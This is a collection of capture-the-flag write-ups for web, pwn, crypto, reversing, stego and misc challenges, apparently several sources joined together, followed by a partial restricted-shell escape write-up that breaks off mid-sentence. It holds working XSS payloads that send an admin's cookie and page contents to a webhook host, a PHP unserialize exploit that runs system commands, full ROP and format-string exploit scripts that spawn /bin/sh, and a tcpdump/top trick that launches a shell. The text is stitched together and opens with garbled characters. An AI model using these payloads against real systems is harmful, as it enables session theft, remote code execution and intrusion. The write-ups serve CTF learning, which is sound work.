`瑣筦㈰摢㠴㈶㌷㈰㌶㈶㡥㙡㘹挱㍤〳㠳㈱㜰挳〵慦㔷戹㈴戰攱愷ㄱ㉡㍣扡㄰〳੽` We can convert this to UTF-8 and get the flag! `ctf{02bd486273026362e8a6961cd3303812073c50fa759b420b1e7a11a2c3ab0130}` ### cross-meThe challenge name is a hint that this is an XSS challenge. After you have logged in you can post notes to the website. The admin will check every note you create. When trying to post `<script>` tags we get an error message: `Invalid input. Failed at /<[^\w<>]*[ \/]\w*/i` The server is validating our notes using regex. It has quite a few different patterns that it checks: - `/<[^\w<>]*[ \/]\w*/i`- `/<(|\/|[^\/>][^>]+|\/[^>][^>]+)>/i`- `/(\b)(on\S{5,8})(\s*)=|(<\s*)(\/*)script/im`- ```/["'\(\)\.:\-\+> `]/im``` The best way I found to bypass this check is to convert our javascript into HTML entities: e.g. `asdasd` -> `asdasd` After trial and error I found out that the `<svg>` tag is your best bet! We can use its **onload** method which is not matched by the regex pattern above. ("load" is shorter than 5 characters). Let's test this by fetching the admin's cookie. We can't have spaces, and can't have any `>` tag at the end. But it still works: `<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<` Convert the javascript to HTML entities:```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<'``` We now get a request from the admin. But there is no flag in the cookies...I then noticed the referer header in the request from admin: `Referer: http://127.0.0.1:1234/index.php?page=post&id=221` If we make the admin fetch this website and send the result back to us, we might get the flag.The new plan is to use **fetch**: ```jsfetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})``` This javascript posts the entire website back to us. When converting this to HTML entities, we can do the request to get the flag :) ```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=fetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})//<'``` FLAG: `CTF{3B3E64A81963B5E3FAC7DE0CE63966F03559DAF4B61753AADBFBA76855DB5E5A}` ### environIt is a login page, but we cannot login, and there is no button to register an account.After doing some enumeration we found a few endpoints that seems interesting - /index.php- /login- /forgot-password- /register- /dashboard- /assets- /css- /js- /backup At `/register` we can register an account and we get redirected to `/dashboard````Environ is a tool to decrypt your deal messages Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly! — The Team.``` If we go to `/index.php` we can see this message:```Environ is a tool to decrypt your deal messages Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly! — The Team. Also you can use /decode/{text} to obtain the contents of your private message.``` A new endpoint! `/decode/{text}`. Almost everything we tried to insert as *text* makes the server respond with `bool(false)` If you insert a symbol, you get `File not found`. I created a script to enumerate all the valid characters:```python#!/usr/bin/env python3import requestsimport string url = "http://35.198.183.125:30278/decode/" valid_chars = [] headers = { "Cookie": "laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D", "Accept": "application/json"} for c in string.printable: r = requests.get(url+c, headers=headers) if "bool(false)" in r.text: valid_chars.append(c) else: print(r.text.strip()) print(''.join(valid_chars))``` The valid characters are `0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%+=` This looks like base64 to me! At this point we started looking at the other endpoints, and found out that `/backup` is a git repository. We dumped the repository using [git-dumper.py](https://github.com/arthaud/git-dumper) (I had to replae all ".git" with "backup" for it to work) and find `.env.example` that contains an AES key: `APP_KEY=base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=` We also find the decode function used in the Laravel app. ```phppublic function decode(Request $request, $secret) { $key = env('APP_KEY'); $cipher = "AES-256-CBC"; $iv = substr(env('APP_KEY'), 0, 16); $secret_message = unserialize(openssl_decrypt($secret, $cipher, $key, 0, $iv)); var_dump($secret_message); }``` This function decrypts our secret message and unserializes it. Maybe we can try to exploit this unserialization? To do this we need to find a class that has a constructor / deconstructor that does something unsafe. I found just the class for this in `app/Http/Middleware/YourChain.php` ```php<?php namespace App\Http\Middleware; use Closure;use Illuminate\Http\Request; class YourChain{ /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ // public function handle(Request $request, Closure $next) // { // return $next($request); // } public $inject; function __construct(){ } function __wakeup(){ if(isset($this->inject)) { if(isset($this->inject[5])){ eval($this->inject[5]); } } }}``` If we can create a serialized object with an `$inject` parameter that is an Array, we can eval php code of our choice. The 5th index must contain the code that should be evaled. I did this by opening an interactive session with php: `php -a````php$key = "base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=";$iv = substr($key, 0, 16); echo openssl_encrypt("O:29:\"App\\Http\\Middleware\\YourChain\":1:{s:6:\"inject\";a:6:{i:0;s:0:\"\";i:1;s:0:\"\";i:2;s:0:\"\";i:3;s:0:\"\";i:4;s:0:\"\";i:5;s:29:\"system('base64 ../flag.php');\";}}", "AES-256-CBC", $key, 0, $iv);``` Which yields `6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==` We can send this encrypted text to the `/decode` endpoint to get our command executed!I tried multiple commands before I finally found flag.php in a directory. ```shell$ http GET "http://35.198.183.125:30278/decode/6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==" Cookie:laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D %``` FLAG: `ctf{ea4941519e740783ebd819100ddc13486ae1e0abec2d0ef32bad5fc98edd16b6}` ## Steganography### stug-referenceThe task description says:```Do you have your own stug pass hidden within?```We get a jpg image. The most obvious thing to try is *steghide*.First I tried to use steghide without a password, but that did not work. Then I noticed the task description again: `stug pass hidden within`. I then tried to extract using `stug` as password: ```shell$ steghide extract -sf stug.jpgEnter passphrase: wrote extracted data to "flag.txt".```flag.txt: `ctf{32849dd9d7e7b313c214a7b1d004b776b4af0cedd9730e6ca05ef725a18e38e1}` ## Crypto### bro64```python#!/usr/bin/env python3import jsonimport requests from base64 import b64decodefrom pprint import pprint from Crypto.Cipher import ChaCha20, Salsa20 # {"nonce": "TzMh7RxMJr8=", "ciphertext": "IynkKnGon3iK4oNSv59tqdLlpIowmfpiH88Vj1CjQBm3SvTcwTbrnY4q/UWKtJRu0M3v4sl+C0k8QFM8pdpyFCkE9Nur", "key": "Fidel_Alejandro_Castro_Ruz_Cuba!"} def main(url): res = requests.get(url) if res.status_code != 200: print("failed!") return res = json.loads(res.content) pprint(res) key = res["key"] nonce = b64decode(res["nonce"]) ciphertext = b64decode(res["ciphertext"]) print(f"key length: {len(key)}") print(f"ciphertext length: {len(ciphertext)}") print(f"nonce length: {len(nonce)}") #cipher = Salsa20.new(key=key.encode("utf-8"), nonce=nonce) #plaintext = cipher.decrypt(ciphertext) #print(plaintext) cipher = ChaCha20.new(key=key.encode("utf-8"), nonce=nonce) plaintext = cipher.decrypt(ciphertext) print(plaintext) if __name__ == "__main__": main("http://34.89.241.255:30013") # ctf{f38deb0782c0f252090a52b2f1a5b05bf2964272f65d5c3580be631f52f4b3e0}```tried to find a cipher that matched with the key length etc. We noticed that the length of the ciphertext wasn't a multiple of normal block sizes, so we assumed a stream cipher. Then we tried to find a stream cipher that used base64 encoded nonce, and a key size of 256 bit. after some trial and error we found out that ChaCha20 was a match. ### why-xorWe get a Python script```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ""s2 = ""# ['\x00', '\x00', '\x00'] at start of xored is the best hint you geta_list = [chr(ord(a) ^ ord(b)) for a,b in zip(s1, s2)]print(a_list)print("".join(a_list))``` There is also a hint here about the first 3 null bytes being the best hint we can get. Since we know that a flag usually starts with `ctf`, this is most likely the xor key. When xoring `ctf` with `ctf` we get three null bytes. I modified the script to use `ctf` as key:```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ''.join(xored)s2 = "ctf" * len(xored) # We need the key to be equal length or longer than the cipher text a_list = [chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2)]print("".join(a_list))``` Running it yields `ctf{79f107231696395c004e87dd7709d3990f0d602a57e9f56ac428b31138bda258}` ## Pwn### bazooka```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 35.234.65.24 --port 30812 ./pwn_bazooka_bazookafrom pwn import * # Set up pwntools for the correct architectureexe = context.binary = ELF('./pwn_bazooka_bazooka') # Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '35.234.65.24'port = int(args.PORT or 30812) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''set follow-fork-mode parentset follow-exec-mode sameb *0x0000000000400757continue'''.format(**locals()) #===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: No canary found# NX: NX enabled# PIE: No PIE (0x400000) io = start() io.sendlineafter("Secret message: ", "#!@{try_hard3r}") pop_rdi = 0x00000000004008f3main = exe.symbols["main"] payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(exe.got["puts"])payload += p64(exe.plt["puts"])payload += p64(main)io.sendlineafter("Message: ", payload) io.recvuntil("Hacker alert")io.recvline()leak = u64(io.recvline().rstrip().ljust(8, b"\x00"))log.info(f"leak: {hex(leak)}") if args.LOCAL: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")else: libc = ELF("libc6_2.27-3ubuntu1.3_amd64.so") libc.address = leak - libc.symbols["puts"]log.success(f"libc base: {hex(libc.address)}")payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(next(libc.search(b"/bin/sh")))payload += p64(pop_rdi+1) # ret gadget for stack alignmentpayload += p64(libc.symbols["system"])payload += p64(libc.symbols["exit"]) io.sendlineafter("Secret message: ", "#!@{try_hard3r}")io.sendlineafter("Message: ", payload) io.interactive() # ctf{9bb6df8e98240b46601db436ad276eaa635a846c9a5afa5b2075907adf39244b}``` Vulnerable function protected with password.The vuln is a buffer overflow. First we trigger the bug to leak the address of puts through the GOT.This enables us to find the base address of libc. We then trigger the bug a second time and ROP into `system("/bin/sh")`. ### darkmagic```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 34.89.250.23 --port 32440 ./darkmagicfrom pwn import * # Set up pwntools for the correct architectureexe = context.binary = ELF('./darkmagic') # Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '34.89.250.23'port = int(args.PORT or 32440) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''b *0x00000000004007FFcontinue'''.format(**locals()) #===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: Canary found# NX: NX enabled# PIE: No PIE (0x400000) io = start() io.recvline() writes = { exe.got["printf"]: exe.plt["system"] }payload = fmtstr_payload(8, writes=writes, write_size="byte")io.sendline(payload)io.sendline("/bin/sh;") io.interactive()# dctf{857ee5051eeccf7cbdfa0ab9986d32f89158429fc12348e15419a969ddcb6bfb}``` Format string vuln. Read + printf called in a loop. We use the first `printf()` call to overwrite `printf@GOT` with `system` (we have `system` in the PLT). The second `printf()` will then execute whatever we send after the format string payload. ## Reverse engineering### secret-reverseThis binary opens up a file `message.txt` and prints out the encoded version of it. Our target is to find some message contents, such that the encoded content becomes `46004746409548141804243297904243125193404843946697460795444349`. I quickly noticed that the output was of variable length, with only 1-2 letters output per input letter. With this, I brute-forced 2 and 2 letters at the time, picking the encoded message that was the closest match with the target. The original message was: `yes_i_am_a_criminal_mastermind_beaware`. Thus the flag becomes: `ctf{9b9972e4d59d0360b5f1b80a5bbd76c05d75df5b636576710a6271c668a10ac5}` Solution script:```pythonfrom subprocess import check_output, CalledProcessErrorfrom string import printable, ascii_lowercasefrom itertools import productfrom hashlib import sha256 ALPHA = ascii_lowercase +"_"TARGET = "46004746409548141804243297904243125193404843946697460795444349" def run(s): with open("message.txt","w") as fd: fd.write(s) try: out = check_output(["./rev_secret_secret.o"]) return out.strip().split(b"Encoded: ")[1].decode() except CalledProcessError: print(f"Input {s} crashed") return "" def score(s1, s2): for i in range(min([len(s1),len(s2)])): if s1[i] != s2[i]: return i return min([len(s1),len(s2)]) known = "yes_i_am_a_criminal_mastermind_beawa"best = 0beststrings = []for comb in product(ALPHA, repeat=2): T = known + ''.join(comb) out = run(T) if out == TARGET: print(f"ctf{{{sha256(T.encode()).hexdigest()}}}") break if (m := score(out, TARGET)) >= best: print(T, m, out) if m > best: beststrings = [T] best = m else: beststrings.append(T) print(best)print(beststrings)``` ### kalf-gameIn this challenge we are given a snake game written in rust. Since this is ahuge binary the first thing we did was to try and find something interestingrelated to the game. By looking at strings in IDA we quickly find these:* `Level finished!`* `is the victory level!`* `ctf{}`* etc. By following the xrefs to these strings we found an interesting function at`0xE53C0`. Even with the decompiler the code looks like crap, but we could seea lot of references to strings that look like part of the flag. At `0xE5A04`there's a check to see if some number is equal to 100000, and if it is the codeproceeds to print some interesting stuff. We assumed that this was the "win" check, and that the code is checking thelevel we are currently on. So we added a breakpoint to check. In gdb we couldverify that this value did in fact match the level. The solution was then tochange the level to 10000 and let the program continue running. The flag is puttogether and printed:`ctf{ddba6614a32456631c125eb1a4327c52686c71d909a92ec05ea5eb510eae81d9}` ### yopass-go```sh$ strings yopass-go/yopass | grep ctf*runtime.structfieldfound bad pointer in Go heap (incorrect use of unsafe or cgo?)runtime: internal error: misuse of lockOSThread/unlockOSThreadruntime.SetFinalizer: pointer not at beginning of allocated blockstrconv: internal error: extFloat.FixedDecimal called with n == 0runtime:greyobject: checkmarks finds unexpected unmarked object obj=ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}runtime: found space for saved base pointer, but no framepointer experiment/home/lucian/Desktop/ctf/yopass-go/yopass.go/home/lucian/Desktop/ctf/yopass-go/yopass.go[]runtime.structfieldruntime.structfieldruntime.structfield*runtime.structfield"[]runtime.structfield$runtime.structfield%runtime.structfield *runtime.structfield``` and there we go: `ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}` ### stripped-goused [golang_loader_assist.py](https://github.com/strazzere/golang_loader_assist) to recover symbols.main_main performs AES encryption with this passphrase: `thisis32bitlongpassphraseimusing`.and the message is: `g01sn0tf0rsk1d1e`. which means that the flag is ctf{sha256{g01sn0tf0rsk1d1e}} == ctf{a4e394ae892144a54c008a3b480a1b22a6b64dd26c4b0c9eba498330f511b51e} ### modern-loginWe quickly noticed the mp3 file that contained some Python files. We extracted the files by doing the following steps:1. Unzipping the APK and traversing to the `assets/` folder. 2. Running `file` showed us that `private.mp3` was a zipped folder. 3. Unzipping it revealed another `private.mp3` file which was a tar4. Extracting this as well provided us with several files, among them was `main.py`. At first, they just seemed like bundled files and we didn't check them out much. However, we looked at the files in the mobile file system after running the app. There, we found the same files. At this point we looked further into them. The most interesting file was `main.py`. It contained some functions to check the password and to XOR encrypt strings. Part of `main.py`:```S=leno=bytesv=enumerateW=printh=None def n(byt): q=b'viafrancetes' f=S(q) return o(c^q[i%f]for i,c in v(byt)) def d(s): y=n(s.encode()) return y.decode("utf-8")``` Running the `d()` function decrypted the XOR encrypted strings in the file. This revealed that `\x15\x1d\x07\x1dATX\x00P\x11RJG\r\x04VJW_S\x07L\x00J\x15\x0bQV\x13WZ\x07TB\x06A\x15\x0f\x02T\x10\x04^S\x07EV@\x10\r\x07\x07GPW[QFUAG]XVK\x02\rR\x18`was the flag: `ctf{356c5e791de08610b8e9cb00a64d16c2cfc2be00b133fdfa5198420214909cc1}` ### dumb-discordWe get a file to reverse: `server.cpython-36.pyc` This is a Python bytecode file that is easy to decompile using *Uncompyle6* ```shelluncompyle6 server.cpython-36.pyc > server.py``` When looking at the code we can see that this is a Discord bot ```pythonfrom discord.ext import commandsimport discord, jsonfrom discord.utils import get def obfuscate(byt): mask = b'ctf{tryharderdontstring}' lmask = len(mask) return bytes(c ^ mask[(i % lmask)] for i, c in enumerate(byt)) def test(s): data = obfuscate(s.encode()) return data intents = discord.Intents.default()intents.members = Truecfg = open('config.json', 'r')tmpconfig = cfg.read()cfg.close()config = json.loads(tmpconfig)token = config[test('\x17\x1b\r\x1e\x1a').decode()] # tokenclient = commands.Bot(command_prefix='/') @client.eventasync def on_ready(): print('Connected to bot: {}'.format(client.user.name)) print('Bot ID: {}'.format(client.user.id)) @client.command()async def getflag(ctx): await ctx.send(test('\x13\x1b\x08\x1c').decode()) # pong @client.eventasync def on_message(message): await client.process_commands(message) if test('B\x04\x0f\x15\x13').decode() in message.content.lower(): # !ping await message.channel.send(test('\x13\x1b\x08\x1c').decode()) # pong if test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode() in message.content.lower(): # /getflag if message.author.id == 783473293554352141: role = discord.utils.get((message.author.guild.roles), name=(test('\x07\x17\x12\x1dFBKXO\x11\x1d\x07\x17\x16\n\n\x01]\x06\x1d').decode())) # dctf2020.cyberedu.ro member = discord.utils.get((message.author.guild.members), id=(message.author.id)) if role in member.roles: await message.channel.send(test(config[test('\x05\x18\x07\x1c').decode()])) # flag if test('L\x1c\x03\x17\x04').decode() in message.content.lower(): # /help await message.channel.send(test('7\x06\x1f[\x1c\x13\x0b\x0c\x04\x00E').decode()) # try harder! if '/s基ay' in message.content.lower(): await message.channel.send(message.content.replace('/s基ay', '').replace(test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode(), '')) # /getflag``` The script has an encode function that uses xor to obfuscate strings. We can see that the key is `ctf{tryharderdontstring}` After xoring all of the strings in the script with this key, we now know which commands that are available:- !ping- /getflag- /help- /s基ay We can also see that in order to get the flag stored in the config file, we need an author with ID **783473293554352141** to execute the `/getflag` command.This author also needs the `dctf2020.cyberedu.ro` role. My guess is that this is the ID of the bot. But where do we find the bot? It turns out that you can invite any bot to your own Discord server if you have the ID. Here is the link:https://discord.com/oauth2/authorize?client_id=783473293554352141&scope=bot&permissions=0 This user is called `DCTFTargetWhyNot`. Lets invite it to our own server ![](https://i.imgur.com/yEF7iDl.png) Now we just need to force the bot to execute the `/getflag` command, and the `/s基ay` command will help us with that. We can make the bot say anything if we pass an argument to this command. However, there are two replace methods that removes `/s基ay` and `/getflag` from our message. We can bypass this by making the `/getflag` command all uppercase, since the bot is converting all commands to lowercase. ![](https://i.imgur.com/hwRXfvJ.png) Oh no! Looks like the flag is also xor-encrypted, so we need to xor it with the same known key as we found earlier: `ctf{1b8fa7f33da67dfeb1d5f79850dcf13630b5563e98566bf7b76281d409d728c6}` ## Misc### qr-maniaFirst we extracted all the pictures from the pcap using wiresharkevery picture is a QR code, so we wrote a script to dump the data from every code. qrtools was not able to deal with most of the qr codes as they were different colors, so we converted all of them into black/white pictures before decoding. the output didn't look like a flag, but we noticed that all the different parts of the flag was there (e.g. C, T, F, and {, }).After checking different things like the order the pictures were downloaded in, the date in every picture, etc. we found out that there was a comment in the EXIF data of every picture telling us the position of that picture. we used this to make an ordered list of the files: ```huquiiddfswdqalnctdi.pngrrhggrokkhbwadumtkhx.pngdglakvmqmabxcqlpgbjb.pngfbnribfqosqcgsbvslvz.pngytwlritcxznphymnsowe.pngejznsfmiucllxxespijz.pnghchwxnsotuqrtbrdmbmg.pngyzhfednrfjsvinsbbyhp.pngeiyhbbcrfnwncfsghmez.pngsuvwivhtpjkcdpcdurty.pngbiuwfrwgdocdypyliqyt.pngrmdueayyyacxcceysxtm.pnggtxiufelpdevwvcpejql.pngkxcgjifkviewjaiwydos.pngpvsyteygdilvpctcavzm.pngsrfedsijdcfewypfoeii.pngxfcbvnbakbgypttpslvk.pngdmdkaosivnyzxyzmglai.pngkbavpqschcbaxbezypla.pngloaaiwgsfohhebksrzve.pngrvvkzxxdoyzdechbpaiw.pngxsdkmqnnwrscbvbbprsw.pngvcdqnjgliurrsbczwljv.pngdfhwcysjjnrnhfziizlr.pngdwpgvvlipmmhlkulbrtt.pnghsqqemzyyeqczawnerdp.pngilymnjclovkuejytnwvi.pngjckteobzkpvxoqqrqovd.pnglilikwxihvrdnqsvepqz.pngzslcptglhdyldbzmlren.pngbynatxrryamhwwhmmroj.pngkamdmutdlzdoypbozuhz.pngoedfvuiyglrsmoociury.pngofqmletvbqbxzygbzdrh.pngrkdyzefqczfgxaqkqxpt.pngxcrtvutynuuswwpcqojs.pngyepskbbojoroewcotddo.pngcllzodvnyvvmbppaktsd.pngdhqclnghhlrjxjmhjzon.pngkzlibdjxvtbgtiaowvez.pngqpuohuugyhrhfaxdyqux.pngxgslqgwnecldbojahatx.pngkgzjqaffmkezutjdcqyw.pngkmziktrekxzaihwkocfj.pnglrhsihqzqeuisjlgoyky.pngnhbiyacdrbxgrutijbxi.pngeioshuilsoxydsahsfnl.pngrvvcnqbnbdslgdrwatrk.pngdtruebslzybqbiewkwjr.pngdwesxvndmatigdqdvcpr.pngnkmswrsvwrnmapsnillk.pngoyhwsqkdqheovawwlggm.pngpgkrzpxhehywhtmkjgsb.pngavudtreighimhcgmwape.pngkuimxqwkydzdfhvwzayz.pngyybbwqnirqzldfiheiyh.pngzstxtahbtgccautnswcf.pngszpzkekngxnasbbjwhhx.pngxhaffangdrxmuvdpurdh.pnguwjmnpykkkaoxdeesmxi.pngajxxcwfgozxpbhnauore.pnggzmshnrwkknmmitqnqzp.pnghfnkcgtjyeprtbaldxxk.pnglkvdwmunrarpuyqzdyne.pngjkfxjauvqodhqwzblgen.pngvuiwwzjdojhdlaaamzwb.pnglmmfdbfmheysbhbgjazn.pngwbuhqpnwfuovgdwoedoc.pngczguxctbmqgfgxhvnwzr.png``` with that list we could run our script again to get the flag:```python#!/usr/bin/env python3import qrtoolsimport osfrom PIL import Image def get_colors(pic): im = Image.open(pic, "r") pix = im.load() return set([pix[x,y] for y in range(im.size[1]) for x in range(im.size[0])]) def convert_colors(pic): im = Image.open(pic) white = ( 255, 255, 255 ) black = ( 0, 0, 0 ) pix = im.load() white_target = pix[0, 0] print(f"target: {white_target}") out = f"{pic[:-4]}_fixed.png" im2 = Image.new("RGB", im.size, (255, 255, 255)) pix2 = im2.load() for y in range(im.size[1]): for x in range(im.size[0]): if pix[x,y] == white_target: pix2[x,y] = white else: pix2[x,y] = black im2.save(out, "PNG") return out import re def main(file_list): with open(file_list, "r") as f: files = f.readlines() cnt = 0 res = {} for filename in files: filename = filename.rstrip() if ".png" not in filename: continue print(filename) fixed = convert_colors(filename) qr = qrtools.QR() qr.decode(fixed) print(f"{filename}: {qr.data}") if qr.data is None: print("failed!") break from subprocess import check_output out = check_output(f"exiftool {filename}", shell=True).decode("utf-8") m = re.search(r"Comment.*: ([0-9]+)/69", out) num = int(m[1]) res[num] = qr.data from pprint import pprint pprint(res) flag = "".join([res[i] for i in range(1, 69+1)]) print(flag) if __name__ == "__main__": main("files.txt")``` `CTF{2b2e8580cdf35896d75bfc4b1bafff6ee90f6c525da3b9a26dd7726bf2171396}`
escape challenge (user-land oob --> kernel-land bof --> emulator heap corruption) [writeup](https://ptr-yudai.hatenablog.com/entry/2020/12/09/200118#pwn-383pts-Pwnception-6-solves)
# oShell_Category: ?_ ## Description> Simple shell escaping!> (Same team-token keeps in the same environment)>> `ssh [email protected]` (pwd=oshell)>> Author: Orange ## Short SolutionConnecting to the server gives users a restricted shell. This shell can execute `htop` and `enable`. By using `htop` to run `strace` on the `enable` process, it is possible to see the secret enable password, granting access to more commands. The elevated command shell enables the extra command `tcpdump`. This can be used to write semi-arbitrary data (encapsulated packet payloads) contents to an arbitrary file, in this case, the configuration file for the `top` utility:```shtcpdump -w /home/oShell/.toprc -s 500 icmp``` Running `ping` from the environment allows us to solicit ICMP echo responses, in which we control the payload section of the packet. We can embed valid `top` configuration syntax in these responses (note that `top` will only parse this is the components are separated by literal tab characters), and `tcpdump` will write them to a file for us:```shpipe x sh 1>&0``` Once this has been written to `.toprc`, we can run `top` and press <kbd>shift</kbd> + <kbd>y</kbd>, <kbd>x</kbd>, and <kbd>return</kbd> to cause top to launch `sh` for us. Lastly, we can run `/readflag`, a suid root binary which outputs the flag. ## Long Solution### Initial ReconWhen connecting to the server we need to specify a "team-token", which grants us access to a segregated container. This will come in handy later.```sh$ ssh [email protected][email protected]'s password:Team token: [redacted][*] Initializing instance... Welcome to __ _ _ _ ___ / _\| |__ ___ | || | / _ \ \ \ | '_ \ / _ \| || || (_) |_\ \| | | || __/| || | \___/ \__/|_| |_| \___||_||_| shell~$ ``` This command shell looks like it's fairly restricted, and doesn't seem to be based on any existing shell. We are able to get a list of commands we can run using `help`:```shoshell~$ helpAvailable commands: help exit id ping ping6 traceroute traceroute6 arp netstat top htop enable``` We can also see that most of these binaries are just applets compiled in to BusyBox:```shoshell~$ ping --helpBusyBox v1.27.2 (2018-06-06 09:08:44 UTC) multi-call binary.[...]``` At this stage, we can get some hints from the wonderfully useful [GTFOBins](https://gtfobins.github.io/) project. This helps us figure out which of the commands available to us can be used for breaking out of the restricted shell. The container stops running after 300 seconds at which the shell disconnects and the container is rebuilt. ### Elevated ShellWith the binaries we have access to there is no direct way to break out of the restricted shell. Instead, we can focus on elevating our shell using the `enable` command. This command asks for a password:```shoshell~$ enablePassword:Wrong password :(``` We can use the `strace` functionality of `htop` to analyze the process and 